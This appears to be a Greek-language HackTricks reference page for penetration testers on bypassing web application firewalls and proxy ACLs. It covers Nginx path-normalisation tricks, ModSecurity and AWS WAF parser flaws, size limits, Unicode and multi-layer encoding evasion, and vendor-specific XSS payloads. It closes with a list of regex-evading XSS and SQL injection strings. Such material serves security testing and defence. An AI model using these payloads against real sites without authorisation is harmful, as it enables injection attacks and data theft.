Proxy / WAF Protections Bypass

Reading time: 12 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Τεχνικές από αυτήν την έρευνα.

Παράδειγμα κανόνα Nginx:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Για να αποτρέψει παρακάμψεις, το Nginx εκτελεί κανονικοποίηση της διαδρομής πριν την ελέγξει. Ωστόσο, αν ο backend server εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που το nginx δεν αφαιρεί) μπορεί να είναι δυνατό να παρακαμφθεί αυτή η άμυνα.

NodeJS - Express

Nginx ΈκδοσηNode.js Χαρακτήρες Παράκαμψης
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx ΈκδοσηFlask Χαρακτήρες Παράκαμψης
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx ΈκδοσηSpring Boot Χαρακτήρες Παράκαμψης
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM διαμόρφωση:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx είναι ρυθμισμένο να αποκλείει την πρόσβαση στο /admin.php αλλά είναι δυνατό να παρακαμφθεί αυτό προσπελαύνοντας το /admin.php/index.php.

Πώς να το αποτρέψετε

plaintext
location ~* ^/admin {
deny all;
}

Παράκαμψη κανόνων Mod Security

Σύγχυση διαδρομής

In this post εξηγείται ότι το ModSecurity v3 (μέχρι την έκδοση 3.0.12), εφάρμοσε λανθασμένα τη μεταβλητή REQUEST_FILENAME η οποία υποτίθεται ότι περιέχει το προσπελασθέν path (μέχρι την αρχή των παραμέτρων). Αυτό συνέβη επειδή πραγματοποιούσε URL decode για να πάρει το path.
Επομένως, ένα request όπως http://example.com/foo%3f';alert(1);foo= στο mod security θα υποθέσει ότι το path είναι απλά /foo επειδή το %3f μετατρέπεται σε ? που τερματίζει το URL path, αλλά στην πραγματικότητα το path που θα λάβει ο server θα είναι /foo%3f';alert(1);foo=.

Οι μεταβλητές REQUEST_BASENAME και PATH_INFO επηρεάστηκαν επίσης από αυτό το bug.

Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε την πρόσβαση χρηστών σε αρχεία με συγκεκριμένες επεκτάσεις σχετικές με backup (όπως .bak) απλά στέλνοντας την τελεία URL encoded ως %2e, για παράδειγμα: https://example.com/backup%2ebak.

Παράκαμψη AWS WAF ACL

Κακώς μορφοποιημένη κεφαλίδα

This research αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες του AWS WAF που εφαρμόζονταν στις HTTP κεφαλίδες, στέλνοντας μια "malformed" κεφαλίδα που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον backend server.

Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στην κεφαλίδα X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Ήταν δυνατό να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο NODEJS server το καταλάβαινε (αυτό διορθώθηκε).

Γενικές παρακάμψεις WAF

Όρια μεγέθους αιτήματος

Συνήθως οι WAF έχουν ένα ορισμένο όριο μήκους των αιτήσεων που ελέγχουν και αν ένα POST/PUT/PATCH αίτημα ξεπερνά αυτό το όριο, ο WAF δεν θα ελέγξει το αίτημα.

Μέγιστο μέγεθος σώματος web request που μπορεί να εξεταστεί για προστασίες Application Load Balancer και AWS AppSync8 KB
Μέγιστο μέγεθος σώματος web request που μπορεί να εξεταστεί για προστασίες CloudFront, API Gateway, Amazon Cognito, App Runner, και Verified Access**64 KB

Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερο) επιτρέπουν μηνύματα μεγαλύτερα από 128 KB απενεργοποιώντας τον έλεγχο σώματος αιτήματος, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερο), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αιτήματος. Όταν ένα αίτημα υπερβαίνει το όριο μεγέθους:

Αν λειτουργία πρόληψης: Καταγράφει και μπλοκάρει το αίτημα.
Αν λειτουργία ανίχνευσης: Εξετάζει έως το όριο, αγνοεί το υπόλοιπο, και καταγράφει αν το Content-Length υπερβαίνει το όριο.

Κατά προεπιλογή, ο WAF ελέγχει μόνο τα πρώτα 8KB ενός αιτήματος. Μπορεί να αυξήσει το όριο έως 128KB προσθέτοντας Advanced Metadata.

Έως 128KB.

Κενά επιθεώρησης στατικών assets (.js GETs)

Ορισμένα CDN/WAF stacks εφαρμόζουν αδύναμο ή καθόλου έλεγχο περιεχομένου σε GET αιτήματα για στατικά assets (π.χ. μονοπάτια που τελειώνουν σε .js), ενώ εξακολουθούν να εφαρμόζουν γενικούς κανόνες όπως rate limiting και IP reputation. Συνδυασμένο με auto-caching στατικών επεκτάσεων, αυτό μπορεί να εκμεταλλευτεί για να παραδοθούν ή να τοποθετηθούν κακόβουλες παραλλαγές που επηρεάζουν τις επακόλουθες HTML αποκρίσεις.

Πρακτικές περιπτώσεις χρήσης:

  • Στείλτε payloads σε μη αξιόπιστες κεφαλίδες (π.χ. User-Agent) σε ένα GET προς ένα μονοπάτι .js για να αποφύγετε τον έλεγχο περιεχομένου, και στη συνέχεια ζητήστε άμεσα το κύριο HTML για να επηρεάσετε την κρυφή παραλλαγή.
  • Χρησιμοποιήστε ένα φρέσκο/καθαρό IP· μόλις ένα IP σηματοδοτηθεί, οι αλλαγές δρομολόγησης μπορούν να κάνουν την τεχνική αναξιόπιστη.
  • Στο Burp Repeater, χρησιμοποιήστε "Send group in parallel" (single-packet style) για να κάνετε αγώνα τα δύο αιτήματα (.js και μετά HTML) μέσω του ίδιου front-end μονοπατιού.

Αυτό ταιριάζει καλά με header-reflection cache poisoning. Βλ.:

Cache Poisoning and Cache Deception

Απόκρυψη

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Συμβατότητα

Ανάλογα με την υλοποίηση της Unicode κανονικοποίησης (περισσότερες πληροφορίες here), χαρακτήρες που μοιράζονται συμβατότητα Unicode ενδέχεται να καταφέρουν να παρακάμψουν το WAF και να εκτελεστούν ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν here.

Παράδειγμα

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Όπως αναφέρεται στο this blog post, για να παρακάμψουμε WAFs που μπορούν να διατηρήσουν το context της εισόδου χρήστη, μπορούμε να εκμεταλλευτούμε τεχνικές του WAF ώστε να κανονικοποιήσει την είσοδο του χρήστη.

Για παράδειγμα, στο post αναφέρεται ότι Akamai URL decoded a user input 10 times. Επομένως κάτι όπως <input/%2525252525252525253e/onfocus θα φανεί από την Akamai ως <input/>/onfocus το οποίο μπορεί να θεωρηθεί ασφαλές καθώς το tag είναι κλειστό. Ωστόσο, όσο η εφαρμογή δεν κάνει URL decode την είσοδο 10 φορές, το θύμα θα δει κάτι σαν <input/%25252525252525253e/onfocus το οποίο είναι ακόμα έγκυρο για μια XSS επίθεση.

Άρα αυτό επιτρέπει να κρύψουμε payloads σε κωδικοποιημένα components που ο WAF θα αποκωδικοποιήσει και θα ερμηνεύσει, ενώ το θύμα δεν θα το δει έτσι.

Επιπλέον, αυτό μπορεί να γίνει όχι μόνο με URL encoded payloads αλλά και με άλλες κωδικοποιήσεις όπως unicode, hex, octal...

Στο post προτείνονται τα ακόλουθα τελικά bypasses:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Αναφέρεται επίσης ότι, ανάλογα με το πώς κάποιοι WAFs αντιλαμβάνονται το context της εισόδου χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτεί κανείς. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επέτρεπε να μπει οτιδήποτε ανάμεσα σε /* και */ (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλιο). Επομένως, ένα SQLinjection όπως /*'or sleep(5)-- -*/ δεν θα εντοπιζόταν και θα ήταν έγκυρο καθώς το /* είναι η αρχή της injection ακολουθίας και το */ είναι σχολιασμένο.

Αυτό το είδος προβλημάτων context μπορεί επίσης να χρησιμοποιηθεί για να εκμεταλλευτεί άλλες ευπάθειες εκτός από αυτή που αναμενόταν να μπλοκάρει ο WAF (π.χ. μπορεί να χρησιμοποιηθεί για να εκτελέσει XSS).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Διάφορες τεχνικές μπορούν να χρησιμοποιηθούν για να παρακαμφθούν τα regex φίλτρα σε firewalls. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών/κεφαλαίων, προσθήκη line breaks, και κωδικοποίηση payloads. Πόροι για τα διάφορα bypasses υπάρχουν στο PayloadsAllTheThings και στο OWASP. Τα παραδείγματα παρακάτω προέρχονται από this article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Εργαλεία

  • nowafpls: Burp plugin για να προσθέτει junk data σε requests ώστε να παρακάμπτονται WAFs με βάση το μήκος

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks